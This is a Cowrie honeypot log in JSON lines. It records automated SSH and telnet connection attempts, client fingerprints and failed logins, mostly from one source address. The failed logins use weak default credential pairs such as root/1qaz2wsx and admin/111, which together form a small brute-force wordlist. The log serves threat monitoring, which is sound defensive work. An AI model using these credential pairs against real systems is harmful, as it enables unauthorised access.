{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:33.017573Z","src_ip":"91.92.42.227","session":"6e233a39ae03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59658,"dst_ip":"159.203.135.109","dst_port":23,"session":"85a1be066ca9","protocol":"telnet","message":"New connection: 128.199.8.54:59658 (159.203.135.109:23) [session: 85a1be066ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:33.654191Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:34.587317Z","src_ip":"91.92.42.227","session":"6e233a39ae03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:35.976975Z","src_ip":"91.92.42.227","session":"6e233a39ae03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45372,"dst_ip":"10.17.0.5","dst_port":22,"session":"36425c9f50fe","protocol":"ssh","message":"New connection: 91.92.42.227:45372 (10.17.0.5:22) [session: 36425c9f50fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:39.325428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:39.748181Z","src_ip":"91.92.42.227","session":"36425c9f50fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:39.754574Z","src_ip":"91.92.42.227","session":"36425c9f50fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"password","message":"login attempt [fivem/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:41.808574Z","src_ip":"91.92.42.227","session":"36425c9f50fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:43.473582Z","src_ip":"91.92.42.227","session":"36425c9f50fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46336,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ec43a589527","protocol":"ssh","message":"New connection: 91.92.42.227:46336 (10.17.0.5:22) [session: 0ec43a589527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:46.000891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:46.440010Z","src_ip":"91.92.42.227","session":"0ec43a589527","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:46.442674Z","src_ip":"91.92.42.227","session":"0ec43a589527","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:49.287567Z","src_ip":"91.92.42.227","session":"0ec43a589527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:50.887023Z","src_ip":"91.92.42.227","session":"0ec43a589527","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46386,"dst_ip":"10.17.0.5","dst_port":22,"session":"9333e506605e","protocol":"ssh","message":"New connection: 91.92.42.227:46386 (10.17.0.5:22) [session: 9333e506605e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:52.464035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:53.490533Z","src_ip":"91.92.42.227","session":"9333e506605e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:53.524095Z","src_ip":"91.92.42.227","session":"9333e506605e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:55.764862Z","src_ip":"91.92.42.227","session":"9333e506605e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:57.092809Z","src_ip":"91.92.42.227","session":"9333e506605e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36112,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b5cd0f15c2c","protocol":"ssh","message":"New connection: 91.92.42.227:36112 (10.17.0.5:22) [session: 9b5cd0f15c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:00.741769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:00.753974Z","src_ip":"91.92.42.227","session":"9b5cd0f15c2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:00.860079Z","src_ip":"91.92.42.227","session":"9b5cd0f15c2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:01.184448Z","src_ip":"91.92.42.227","session":"9b5cd0f15c2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":34960,"dst_ip":"159.203.135.109","dst_port":22,"session":"9eac1c1e02dc","protocol":"ssh","message":"New connection: 80.94.92.184:34960 (159.203.135.109:22) [session: 9eac1c1e02dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:01.702761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:01.706978Z","src_ip":"80.94.92.184","session":"9eac1c1e02dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:01.999185Z","src_ip":"80.94.92.184","session":"9eac1c1e02dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:02.388814Z","src_ip":"91.92.42.227","session":"9b5cd0f15c2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234567890","message":"login attempt [solv/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:03.161292Z","src_ip":"80.94.92.184","session":"9eac1c1e02dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:04.801510Z","src_ip":"80.94.92.184","session":"9eac1c1e02dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":33618,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffe39b17ff02","protocol":"telnet","message":"New connection: 107.6.151.170:33618 (159.203.135.109:23) [session: ffe39b17ff02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:05.342640Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48972,"dst_ip":"10.17.0.5","dst_port":22,"session":"0db469a7b38e","protocol":"ssh","message":"New connection: 91.92.42.227:48972 (10.17.0.5:22) [session: 0db469a7b38e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:06.962184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:07.320647Z","src_ip":"91.92.42.227","session":"0db469a7b38e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:07.325812Z","src_ip":"91.92.42.227","session":"0db469a7b38e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:08.975026Z","src_ip":"91.92.42.227","session":"0db469a7b38e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:10.243559Z","src_ip":"91.92.42.227","session":"0db469a7b38e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40288,"dst_ip":"159.203.135.109","dst_port":22,"session":"688bb1155abf","protocol":"ssh","message":"New connection: 168.167.228.74:40288 (159.203.135.109:22) [session: 688bb1155abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:11.280988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:11.285053Z","src_ip":"168.167.228.74","session":"688bb1155abf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:11.535289Z","src_ip":"168.167.228.74","session":"688bb1155abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david1234","message":"login attempt [david/david1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:12.569002Z","src_ip":"168.167.228.74","session":"688bb1155abf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:13.827821Z","src_ip":"168.167.228.74","session":"688bb1155abf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49020,"dst_ip":"10.17.0.5","dst_port":22,"session":"23a85b0d3541","protocol":"ssh","message":"New connection: 91.92.42.227:49020 (10.17.0.5:22) [session: 23a85b0d3541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:13.875237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:14.075329Z","src_ip":"91.92.42.227","session":"23a85b0d3541","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v